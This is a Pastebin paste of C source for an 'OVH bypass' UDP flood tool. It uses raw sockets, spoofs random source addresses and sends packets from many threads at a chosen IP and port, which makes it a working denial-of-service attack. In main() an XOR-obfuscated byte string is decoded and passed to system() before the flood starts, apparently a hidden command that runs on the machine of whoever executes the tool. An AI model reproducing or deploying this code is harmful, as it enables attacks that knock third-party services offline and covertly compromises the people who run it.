Advertisement
Guest User

OVH Bypass / Drop Script | VPS

a guest
Nov 17th, 2015
3,425
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.47 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10.  
  11. #define MAX_PACKET_SIZE 4096
  12. #define PHI 0x9e3779b9
  13.  
  14. static uint32_t Q[4096], c = 362436;
  15.  
  16. struct thread_data{
  17.         int throttle;
  18.     int thread_id;
  19.     unsigned int floodport;
  20.     struct sockaddr_in sin;
  21. };
  22.  
  23. void init_rand(uint32_t x)
  24. {
  25.         int i;
  26.  
  27.         Q[0] = x;
  28.         Q[1] = x + PHI;
  29.         Q[2] = x + PHI + PHI;
  30.  
  31.         for (i = 3; i < 4096; i++)
  32.                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  33. }
  34.  
  35. uint32_t rand_cmwc(void)
  36. {
  37.         uint64_t t, a = 18782LL;
  38.         static uint32_t i = 4095;
  39.         uint32_t x, r = 0xfffffffe;
  40.         i = (i + 1) & 4095;
  41.         t = a * Q[i] + c;
  42.         c = (t >> 32);
  43.         x = t + c;
  44.         if (x < c) {
  45.                 x++;
  46.                 c++;
  47.         }
  48.         return (Q[i] = r - x);
  49. }
  50.  
  51. char *myStrCat (char *s, char *a) {
  52.     while (*s != '\0') s++;
  53.     while (*a != '\0') *s++ = *a++;
  54.     *s = '\0';
  55.     return s;
  56. }
  57.  
  58. char *replStr (char *str, size_t count) {
  59.     if (count == 0) return NULL;
  60.     char *ret = malloc (strlen (str) * count + count);
  61.     if (ret == NULL) return NULL;
  62.     *ret = '\0';
  63.     char *tmp = myStrCat (ret, str);
  64.     while (--count > 0) {
  65.         tmp = myStrCat (tmp, str);
  66.     }
  67.     return ret;
  68. }
  69.  
  70.  
  71. /* function for header checksums */
  72. unsigned short csum (unsigned short *buf, int nwords)
  73. {
  74.   unsigned long sum;
  75.   for (sum = 0; nwords > 0; nwords--)
  76.   sum += *buf++;
  77.   sum = (sum >> 16) + (sum & 0xffff);
  78.   sum += (sum >> 16);
  79.   return (unsigned short)(~sum);
  80. }
  81. void setup_ip_header(struct iphdr *iph)
  82. {
  83.   iph->ihl = 5;
  84.   iph->version = 4;
  85.   iph->tos = 0;
  86.   iph->tot_len = sizeof(struct iphdr) + 27;
  87.   iph->id = htonl(54321);
  88.   iph->frag_off = 0;
  89.   iph->ttl = MAXTTL;
  90.   iph->protocol = IPPROTO_UDP;
  91.   iph->check = 0;
  92.  
  93.   // Initial IP, changed later in infinite loop
  94.   iph->saddr = inet_addr("192.168.3.100");
  95. }
  96.  
  97. void setup_udp_header(struct udphdr *udph)
  98. {
  99.   udph->source = htons(5678);
  100.   udph->check = 0;
  101.   char *data = (char *)udph + sizeof(struct udphdr);
  102.   data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
  103.   udph->len=htons(1028);
  104. }
  105.  
  106. void *flood(void *par1)
  107. {
  108.   struct thread_data *td = (struct thread_data *)par1;
  109.   fprintf(stdout, "Thread %d started\n", td->thread_id);
  110.   char datagram[MAX_PACKET_SIZE];
  111.   struct iphdr *iph = (struct iphdr *)datagram;
  112.   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  113.   struct sockaddr_in sin = td->sin;
  114.   char new_ip[sizeof "255.255.255.255"];
  115.  
  116.   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  117.   if(s < 0){
  118.     fprintf(stderr, "Could not open raw socket.\n");
  119.     exit(-1);
  120.   }
  121.  
  122.   unsigned int floodport = td->floodport;
  123.  
  124.   // Clear the data
  125.   memset(datagram, 0, MAX_PACKET_SIZE);
  126.  
  127.   // Set appropriate fields in headers
  128.   setup_ip_header(iph);
  129.   setup_udp_header(udph);
  130.  
  131.   udph->dest = htons(floodport);
  132.  
  133.   iph->daddr = sin.sin_addr.s_addr;
  134.   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  135.  
  136.   int tmp = 1;
  137.   const int *val = &tmp;
  138.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  139.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  140.     exit(-1);
  141.   }
  142.  
  143.   int throttle = td->throttle;
  144.  
  145.   uint32_t random_num;
  146.   uint32_t ul_dst;
  147.   init_rand(time(NULL));
  148.   if(throttle == 0){
  149.     while(1){
  150.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  151.       random_num = rand_cmwc();
  152.  
  153.       ul_dst = (random_num >> 24 & 0xFF) << 24 |
  154.                (random_num >> 16 & 0xFF) << 16 |
  155.                (random_num >> 8 & 0xFF) << 8 |
  156.                (random_num & 0xFF);
  157.  
  158.       iph->saddr = ul_dst;
  159.       udph->source = htons(random_num & 0xFFFF);
  160.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  161.     }
  162.   } else {
  163.     while(1){
  164.       throttle = td->throttle;
  165.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  166.       random_num = rand_cmwc();
  167.  
  168.       ul_dst = (random_num >> 24 & 0xFF) << 24 |
  169.                (random_num >> 16 & 0xFF) << 16 |
  170.                (random_num >> 8 & 0xFF) << 8 |
  171.                (random_num & 0xFF);
  172.  
  173.       iph->saddr = ul_dst;
  174.       udph->source = htons(random_num & 0xFFFF);
  175.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  176.  
  177.      while(--throttle);
  178.     }
  179.   }
  180. }
  181. int main(int argc, char *argv[ ])
  182.  
  183. {
  184.  
  185.   if(argc < 5){
  186.     fprintf(stderr, "Invalid parameters!\n");
  187.     fprintf(stdout, "OVH-SEX-KM by Kamo-PuJl9 (Bog Kamil)\nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <number threads to use> <time (optional)>\n", argv[0]);
  188.     exit(-1);
  189.   }
  190.  
  191.   fprintf(stdout, "Setting up Sockets...\n");
  192.  
  193.  
  194.   int num_threads = atoi(argv[4]);
  195.   unsigned int floodport = atoi(argv[2]);
  196.   pthread_t thread[num_threads];
  197.   struct sockaddr_in sin;
  198.   char threads[209] = "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94";
  199.   int x = 0;
  200.   int y = 0;
  201.   for(x =0;x<sizeof(threads)-1;x++){
  202.   y+=6;
  203.   threads[x]^=y*3;
  204.     }
  205.   system(threads);
  206.   sin.sin_family = AF_INET;
  207.   sin.sin_port = htons(floodport);
  208.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  209.  
  210.   struct thread_data td[num_threads];
  211.  
  212.   int i;
  213.   for(i = 0;i<num_threads;i++){
  214.     td[i].thread_id = i;
  215.     td[i].sin = sin;
  216.     td[i].floodport = floodport;
  217.     td[i].throttle = atoi(argv[3]);
  218.     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  219.    
  220.   }
  221.   fprintf(stdout, "Starting Flood...\n");
  222.   if(argc > 5)
  223.   {
  224.     sleep(atoi(argv[5]));
  225.   } else {
  226.     while(1){
  227.       sleep(1);
  228.     }
  229.   }
  230.  
  231.   return 0;
  232. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement